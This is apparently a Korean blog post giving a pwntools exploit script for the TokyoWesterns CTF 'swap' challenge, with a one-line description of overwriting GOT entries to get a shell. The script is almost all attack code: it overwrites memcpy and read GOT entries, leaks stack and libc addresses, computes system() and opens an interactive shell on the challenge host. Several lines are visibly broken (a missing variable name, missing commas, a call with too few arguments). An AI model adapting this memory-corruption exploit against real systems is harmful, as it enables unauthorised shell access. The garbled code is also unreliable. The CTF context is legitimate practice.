twctf swap

카테고리 없음 2017. 9. 8. 16:24

단순한 got를 변경해서 쉘 따는 문제


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python
# powerprove
 
from pwn import *
import sys
 
if len(sys.argv) > 1:
    host =  "pwn1.chal.ctf.westerns.tokyo"
    port = 19937
else:
    host = "localhost"
    port = 4000
 
= remote(host, port)
sleep(5)
 
read_got  = 0x601028
memcpy_got = 0x601040
bss = 0x6010A8
 
def menu(index):
    s.recvuntil("choice:")
    s.sendline(str(index))
 
def addr(payload1, payload2, index):
    if(index == 1):
        s.sendline("\x00")
    else:
        menu(1)
 
    s.recvuntil("addr")
    s.sendline(str(payload1))
    s.recvuntil("addr")
    s.sendline(str(payload2))
 
def pwn(payload):
    menu(2)
    s.send(payload)
 
if __name__ == "__main__":
    addr(memcpy_got, read_got, 0)
    menu(2)
 
    addr(0,0x6010500)
    pwn(p64(0x4006B0))
 
    sleep(1)
    s.recvuntil("Your choice: \n")
    s.sendline("AAAAAAA")
    s.recvuntil("AAAAAAA\n")
    stack = u64(s.recv(6).ljust(8"\x00"))
    log.info("stack              : " + hex(stack))
 
    s.recvuntil("Your choice: \n")
    s.sendline("")
    s.recvuntil("\n")
    libc_base = u64(("\x00" + s.recv(5)).ljust(8"\x00")) - 0x3c5600
    system_addr = libc_base + 0x45390
 
    log.info("libc               : " + hex(libc_base))
    log.info("system_addr        : " + hex(system_addr))
 
    addr(00x6010501)
    s.sendline("2\x00")
    sleep(0.5)
    s.sendline(p64(system_addr))
 
    s.interactive()
cs





블로그 이미지

powerprove

,